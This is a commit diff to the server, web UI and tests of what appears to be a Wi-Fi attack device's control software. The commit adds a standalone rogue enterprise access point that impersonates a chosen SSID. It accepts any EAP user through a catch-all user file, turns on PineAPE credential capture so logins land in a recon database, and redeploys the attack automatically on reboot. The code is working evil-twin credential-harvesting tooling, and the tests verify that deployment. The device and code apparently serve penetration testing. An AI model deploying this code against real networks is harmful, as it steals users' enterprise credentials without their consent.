feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware (it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1: iw-created iface, EAP config with catch-all user file, pineape+auth capture enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys a live attack after a Mark VIII restart.
This commit is contained in:
@@ -2556,7 +2556,6 @@ def h_pineap_wifi_get_ap(ctx):
|
|||||||
wpa_cfg = _uci_wifi_iface('wlan0wpa')
|
wpa_cfg = _uci_wifi_iface('wlan0wpa')
|
||||||
r1_open_cfg = _uci_wifi_iface('wlan1open')
|
r1_open_cfg = _uci_wifi_iface('wlan1open')
|
||||||
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
|
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
|
||||||
ent_cfg = _uci_wifi_iface('wlan0ent')
|
|
||||||
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
||||||
host = data if status == 200 and isinstance(data, dict) else {}
|
host = data if status == 200 and isinstance(data, dict) else {}
|
||||||
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
|
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
|
||||||
@@ -2568,20 +2567,19 @@ def h_pineap_wifi_get_ap(ctx):
|
|||||||
_last_reconcile = time.time()
|
_last_reconcile = time.time()
|
||||||
device_run(['wifi', 'reload'])
|
device_run(['wifi', 'reload'])
|
||||||
break
|
break
|
||||||
ent = _ap_iface_dict(ent_cfg, radio0_cfg)
|
|
||||||
return 200, {
|
return 200, {
|
||||||
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
|
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
|
||||||
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
|
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
|
||||||
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
|
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
|
||||||
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
|
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
|
||||||
'enterprise': {
|
'enterprise': {
|
||||||
'enabled': ent.get('enabled', False),
|
'enabled': _ent_summary()['enabled'],
|
||||||
'ssid': ent.get('ssid', ''),
|
'ssid': _ent_summary()['ssid'],
|
||||||
'enctype': ent.get('enctype') or 'wpa2',
|
'enctype': _ent_summary()['enctype'],
|
||||||
'passphrase': ent.get('passphrase', ''),
|
'passphrase': '',
|
||||||
'hidden': ent.get('hidden', False),
|
'hidden': False,
|
||||||
'channel': ent.get('channel'),
|
'channel': _ent_summary()['channel'],
|
||||||
'live': _iface_live('wlan0ent'),
|
'live': _ent_summary()['live'],
|
||||||
},
|
},
|
||||||
'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))},
|
'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))},
|
||||||
'radios': {
|
'radios': {
|
||||||
@@ -2789,6 +2787,16 @@ ATTACK_IFACES = {
|
|||||||
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
|
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
|
||||||
|
# config generation is broken on this firmware, so Mark VIII runs its own
|
||||||
|
# karma+PineAPE hostapd instance for the enterprise attack.
|
||||||
|
ENT_IFACE = 'wlan1ent'
|
||||||
|
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
|
||||||
|
ENT_CONF = '/root/loot/enterprise.conf'
|
||||||
|
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
|
||||||
|
ENT_EAP_USERS = '/root/loot/eap_users'
|
||||||
|
ENT_STATE = '/root/loot/mk8_enterprise.json'
|
||||||
|
|
||||||
|
|
||||||
def _band_of_channel(channel):
|
def _band_of_channel(channel):
|
||||||
band = channel_band(channel)
|
band = channel_band(channel)
|
||||||
@@ -2896,11 +2904,50 @@ def _deploy_wpa_open(kind, fields):
|
|||||||
|
|
||||||
|
|
||||||
def _disable_enterprise_ap():
|
def _disable_enterprise_ap():
|
||||||
cfg = _uci_wifi_iface('wlan0ent')
|
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
|
||||||
if cfg:
|
try:
|
||||||
device_run(['uci', 'delete', 'wireless.wlan0ent'])
|
with open(ENT_PIDFILE) as f:
|
||||||
device_run(['uci', 'commit', 'wireless'])
|
pid = int(f.read().strip())
|
||||||
device_run(['wifi', 'reload'])
|
if os.path.exists('/proc/%d' % pid):
|
||||||
|
device_run(['kill', str(pid)], timeout=10)
|
||||||
|
except (OSError, ValueError):
|
||||||
|
pass
|
||||||
|
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
|
||||||
|
for p in (ENT_PIDFILE, ENT_STATE):
|
||||||
|
try:
|
||||||
|
os.unlink(p)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
||||||
|
if rc == 0 and out.strip() == ENT_IFACE:
|
||||||
|
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||||
|
device_run(['uci', 'commit', 'pineapd'])
|
||||||
|
device_run(['/etc/init.d/pineapd', 'reload'])
|
||||||
|
if not _radio1_ap_active():
|
||||||
|
_resume_hop()
|
||||||
|
|
||||||
|
|
||||||
|
def _ent_running():
|
||||||
|
try:
|
||||||
|
with open(ENT_PIDFILE) as f:
|
||||||
|
pid = int(f.read().strip())
|
||||||
|
return os.path.exists('/proc/%d' % pid)
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _ent_ctrl(cmd, timeout=10):
|
||||||
|
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
|
||||||
|
timeout=timeout)
|
||||||
|
return (rc, out or '')
|
||||||
|
|
||||||
|
|
||||||
|
def _ent_state_loaded():
|
||||||
|
try:
|
||||||
|
with open(ENT_STATE) as f:
|
||||||
|
return json.load(f)
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return {}
|
||||||
|
|
||||||
|
|
||||||
def _deploy_enterprise(fields):
|
def _deploy_enterprise(fields):
|
||||||
@@ -2910,6 +2957,13 @@ def _deploy_enterprise(fields):
|
|||||||
enctype = fields.get('enctype') or 'wpa2'
|
enctype = fields.get('enctype') or 'wpa2'
|
||||||
if enctype not in ('wpa2', 'wpa3'):
|
if enctype not in ('wpa2', 'wpa3'):
|
||||||
raise ValueError('enterprise encryption must be wpa2 or wpa3')
|
raise ValueError('enterprise encryption must be wpa2 or wpa3')
|
||||||
|
ch = fields.get('channel')
|
||||||
|
if ch is not None:
|
||||||
|
band = channel_band(ch)
|
||||||
|
if band != BAND_5G:
|
||||||
|
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
|
||||||
|
else:
|
||||||
|
ch = 36
|
||||||
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
|
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
|
||||||
for name in ('wlan0wpa', 'wlan0open'):
|
for name in ('wlan0wpa', 'wlan0open'):
|
||||||
cfg = _uci_wifi_iface(name)
|
cfg = _uci_wifi_iface(name)
|
||||||
@@ -2917,42 +2971,105 @@ def _deploy_enterprise(fields):
|
|||||||
_set_uci('%s.disabled' % name, '1')
|
_set_uci('%s.disabled' % name, '1')
|
||||||
device_run(['uci', 'commit', 'wireless'])
|
device_run(['uci', 'commit', 'wireless'])
|
||||||
device_run(['wifi', 'reload'])
|
device_run(['wifi', 'reload'])
|
||||||
_set_uci('wlan0ent', 'wifi-iface')
|
_disable_enterprise_ap()
|
||||||
_set_uci('wlan0ent.device', 'radio0')
|
# The stock daemon's enterprise config generation is broken on this
|
||||||
_set_uci('wlan0ent.ifname', 'wlan0ent')
|
# firmware (emits eap_server_erp, which hostapd rejects), so the
|
||||||
_set_uci('wlan0ent.mode', 'ap')
|
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
|
||||||
_set_uci('wlan0ent.disabled', '0')
|
# outside the daemon's interface set. Credentials still flow into
|
||||||
_set_uci('wlan0ent.ssid', ssid)
|
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
|
||||||
_set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0))
|
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
|
||||||
_set_uci('wlan0ent.encryption', enctype)
|
ENT_IFACE, 'type', 'managed'], timeout=15)
|
||||||
_set_uci('wlan0ent.key', fields.get('passphrase') or '')
|
if rc != 0:
|
||||||
ch = fields.get('channel')
|
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
|
||||||
if ch is not None:
|
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
|
||||||
_set_uci('wlan0ent.channel', '%d' % int(ch))
|
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
||||||
device_run(['uci', 'commit', 'wireless'])
|
try:
|
||||||
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
|
with open(ENT_EAP_USERS, 'w') as f:
|
||||||
body={'configs': [{
|
f.write('"*"\tPAP\t""\n')
|
||||||
'interface': 'wlan0ent',
|
with open(ENT_CONF, 'w') as f:
|
||||||
'ssid': ssid,
|
f.write(
|
||||||
'enctype': enctype,
|
'interface=%s\n'
|
||||||
'enabled': True,
|
'driver=nl80211\n'
|
||||||
'hidden': bool(fields.get('hidden')),
|
'ssid=%s\n'
|
||||||
'key': fields.get('passphrase') or '',
|
'hw_mode=a\n'
|
||||||
'channel': int(ch) if ch is not None else 1,
|
'channel=%d\n'
|
||||||
}]}, timeout=45)
|
'country_code=US\n'
|
||||||
if status != 200:
|
'ieee80211d=1\n'
|
||||||
raise RuntimeError('daemon rejected enterprise AP: %r' % (data,))
|
'ieee80211n=1\n'
|
||||||
_enable_attack_engine()
|
'ht_capab=[SHORT-GI-20][SHORT-GI-40]\n'
|
||||||
_allow_all_ssids()
|
'beacon_int=100\n'
|
||||||
# PineAPE credential harvesting on.
|
'auth_algs=1\n'
|
||||||
daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', {
|
'ieee8021x=1\n'
|
||||||
'pineape_disabled': False,
|
'eap_server=1\n'
|
||||||
'pineape_auth_pass': True,
|
'eap_user_file=%s\n'
|
||||||
})
|
'wpa=2\n'
|
||||||
verified = _verify_iface('wlan0ent')
|
'wpa_key_mgmt=WPA-EAP\n'
|
||||||
return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent',
|
'wpa_pairwise=CCMP\n'
|
||||||
'band': BAND_2G, 'channel': int(ch) if ch is not None else 1,
|
'wpa_disable_eapol_key_retries=0\n'
|
||||||
'verified': verified}
|
'ctrl_interface=%s\n' % (ENT_IFACE, ssid, int(ch), ENT_EAP_USERS, ENT_CTRL_DIR))
|
||||||
|
except OSError as exc:
|
||||||
|
raise RuntimeError('could not write enterprise config: %s' % exc)
|
||||||
|
# Tell the karma build which iface is the management (enterprise) AP.
|
||||||
|
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
|
||||||
|
device_run(['uci', 'commit', 'pineapd'])
|
||||||
|
_pause_hop()
|
||||||
|
rc, out, err = device_run(['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
|
||||||
|
timeout=20)
|
||||||
|
verified = _ent_running()
|
||||||
|
if not verified:
|
||||||
|
_disable_enterprise_ap()
|
||||||
|
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % (err or out)[-300:])
|
||||||
|
deadline = time.time() + 20
|
||||||
|
while time.time() < deadline:
|
||||||
|
rc, out = _ent_ctrl('status')
|
||||||
|
if 'state=ENABLED' in out:
|
||||||
|
break
|
||||||
|
time.sleep(2)
|
||||||
|
verified = 'state=ENABLED' in (_ent_ctrl('status')[1] or '')
|
||||||
|
_ent_ctrl('pineap_enable')
|
||||||
|
_ent_ctrl('pineape_enable')
|
||||||
|
_ent_ctrl('pineape_auth_enable')
|
||||||
|
try:
|
||||||
|
with open(ENT_STATE, 'w') as f:
|
||||||
|
json.dump({'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
|
||||||
|
'channel': int(ch), 'started': int(time.time())}, f)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
|
||||||
|
'band': BAND_5G, 'channel': int(ch), 'verified': verified}
|
||||||
|
|
||||||
|
|
||||||
|
def _ent_summary():
|
||||||
|
st = _ent_state_loaded()
|
||||||
|
running = _ent_running()
|
||||||
|
live = False
|
||||||
|
if running:
|
||||||
|
rc, out = _ent_ctrl('status')
|
||||||
|
live = 'state=ENABLED' in (out or '')
|
||||||
|
return {
|
||||||
|
'enabled': running,
|
||||||
|
'live': live,
|
||||||
|
'ssid': st.get('ssid') or '',
|
||||||
|
'enctype': st.get('enctype') or 'wpa2',
|
||||||
|
'band': BAND_5G,
|
||||||
|
'channel': st.get('channel', 36),
|
||||||
|
'iface': ENT_IFACE,
|
||||||
|
'started': st.get('started'),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _enterprise_boot_recover():
|
||||||
|
"""Re-deploy the enterprise AP after a Mark VIII restart."""
|
||||||
|
st = _ent_state_loaded()
|
||||||
|
if not st.get('ssid'):
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
_deploy_enterprise(st)
|
||||||
|
except RuntimeError as exc:
|
||||||
|
try:
|
||||||
|
os.unlink(ENT_STATE)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
def h_attacks_deploy(ctx):
|
def h_attacks_deploy(ctx):
|
||||||
@@ -3011,7 +3128,7 @@ def h_attacks_status(ctx):
|
|||||||
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
|
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
|
||||||
},
|
},
|
||||||
'enterprise': {
|
'enterprise': {
|
||||||
'ap': _uci_ap_summary('wlan0ent', 'radio0'),
|
'ap': _ent_summary(),
|
||||||
'pineape': {'enabled': not bool(
|
'pineape': {'enabled': not bool(
|
||||||
(daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {})
|
(daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {})
|
||||||
.get('pineape_disabled', True))},
|
.get('pineape_disabled', True))},
|
||||||
@@ -3044,9 +3161,9 @@ def h_attacks_stop(ctx):
|
|||||||
_set_uci('%s.disabled' % name, '1')
|
_set_uci('%s.disabled' % name, '1')
|
||||||
stopped.append(name)
|
stopped.append(name)
|
||||||
elif kind == 'enterprise':
|
elif kind == 'enterprise':
|
||||||
if _uci_wifi_iface('wlan0ent'):
|
if _ent_running() or os.path.exists(ENT_STATE):
|
||||||
_disable_enterprise_ap()
|
_disable_enterprise_ap()
|
||||||
stopped.append('wlan0ent')
|
stopped.append(ENT_IFACE)
|
||||||
else:
|
else:
|
||||||
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
||||||
if stopped:
|
if stopped:
|
||||||
@@ -4421,6 +4538,7 @@ def serve():
|
|||||||
threading.Thread(target=live_loop, daemon=True).start()
|
threading.Thread(target=live_loop, daemon=True).start()
|
||||||
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
|
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
|
||||||
start_health_monitor()
|
start_health_monitor()
|
||||||
|
_enterprise_boot_recover()
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
sock.bind((HOST, PORT))
|
sock.bind((HOST, PORT))
|
||||||
|
|||||||
@@ -1523,7 +1523,7 @@ views.attacks_enterprise = (root) => {
|
|||||||
status.append('Attack', attackBadge(ap));
|
status.append('Attack', attackBadge(ap));
|
||||||
status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' }));
|
status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' }));
|
||||||
status.append('Interface', h('span', { text: ap ? ap.iface : '—' }));
|
status.append('Interface', h('span', { text: ap ? ap.iface : '—' }));
|
||||||
status.append('Band', h('span', { text: '2.4 GHz' }));
|
status.append('Band', h('span', { text: ap && ap.band ? ap.band + ' GHz' : '5 GHz' }));
|
||||||
status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' }));
|
status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' }));
|
||||||
status.append('Credentials', h('span', { text: String(ent.creds || 0) }));
|
status.append('Credentials', h('span', { text: String(ent.creds || 0) }));
|
||||||
pApeBody.innerHTML = '';
|
pApeBody.innerHTML = '';
|
||||||
|
|||||||
+45
-12
@@ -43,6 +43,8 @@ class FakeUciDevice:
|
|||||||
sec = a[2]
|
sec = a[2]
|
||||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||||
if k == sec or k.startswith(sec + '.')), '')
|
if k == sec or k.startswith(sec + '.')), '')
|
||||||
|
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||||
|
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||||
return (0, '', '')
|
return (0, '', '')
|
||||||
|
|
||||||
def uci_iface(self, name):
|
def uci_iface(self, name):
|
||||||
@@ -76,9 +78,23 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
||||||
self.old_state = server.PINEAP_STATE_FILE
|
self.old_state = server.PINEAP_STATE_FILE
|
||||||
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||||
|
self.old_ent = {k: getattr(server, k) for k in
|
||||||
|
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
|
||||||
|
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||||
|
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||||
|
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||||
|
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
|
||||||
|
self.old_ent_running = server._ent_running
|
||||||
|
self.old_ent_state = server._ent_state_loaded
|
||||||
|
server._ent_running = lambda: True
|
||||||
|
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
server.PINEAP_STATE_FILE = self.old_state
|
server.PINEAP_STATE_FILE = self.old_state
|
||||||
|
server._ent_running = self.old_ent_running
|
||||||
|
server._ent_state_loaded = self.old_ent_state
|
||||||
|
for k, v in self.old_ent.items():
|
||||||
|
setattr(server, k, v)
|
||||||
shutil.rmtree(self.tmp)
|
shutil.rmtree(self.tmp)
|
||||||
|
|
||||||
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
||||||
@@ -99,11 +115,11 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
self.assertEqual(len(engines), 2)
|
self.assertEqual(len(engines), 2)
|
||||||
|
|
||||||
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
||||||
self.f.state['wireless.wlan0ent.disabled'] = '0'
|
|
||||||
server.h_attacks_deploy(ctx({
|
server.h_attacks_deploy(ctx({
|
||||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||||
self.assertNotIn('wireless.wlan0ent.disabled', self.f.state)
|
cmds = [r[0] for r in self.f.runs]
|
||||||
|
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||||
|
|
||||||
def test_deploy_wpa_5g_writes_radio1(self):
|
def test_deploy_wpa_5g_writes_radio1(self):
|
||||||
status, payload = server.h_attacks_deploy(ctx({
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
@@ -127,19 +143,36 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||||
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
||||||
|
|
||||||
def test_deploy_enterprise_builds_wlan0ent(self):
|
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
|
||||||
status, payload = server.h_attacks_deploy(ctx({
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
||||||
'enctype': 'wpa2', 'hidden': False, 'channel': 1}))
|
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
|
||||||
self.assertEqual(status, 200)
|
self.assertEqual(status, 200)
|
||||||
self.assertEqual(payload['iface'], 'wlan0ent')
|
self.assertEqual(payload['iface'], 'wlan1ent')
|
||||||
self.assertEqual(self.f.state['wireless.wlan0ent.encryption'], 'wpa2')
|
self.assertEqual(payload['band'], server.BAND_5G)
|
||||||
self.assertEqual(self.f.state['wireless.wlan0ent.ssid'], 'CorpAP')
|
cmds = [r[0] for r in self.f.runs]
|
||||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
|
||||||
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0ent')
|
'type', 'managed'], cmds)
|
||||||
self.assertEqual(cfg['configs'][0]['enctype'], 'wpa2')
|
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
|
||||||
pineape = [s for s in self.f.sock if s[1] == '/api/pineap/hostapd/set_config'][0]
|
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
|
||||||
self.assertEqual(pineape[2], {'pineape_disabled': False, 'pineape_auth_pass': True})
|
server.ENT_CONF], cmds)
|
||||||
|
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||||
|
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||||
|
|
||||||
|
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||||
|
status, _ = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
|
||||||
|
'channel': 6}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
def test_stop_enterprise_tears_down_engine(self):
|
||||||
|
server._ent_running = lambda: True
|
||||||
|
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||||
|
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertIn('wlan1ent', payload['stopped'])
|
||||||
|
cmds = [r[0] for r in self.f.runs]
|
||||||
|
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||||
|
|
||||||
def test_deploy_validation(self):
|
def test_deploy_validation(self):
|
||||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
||||||
|
|||||||
Reference in New Issue
Block a user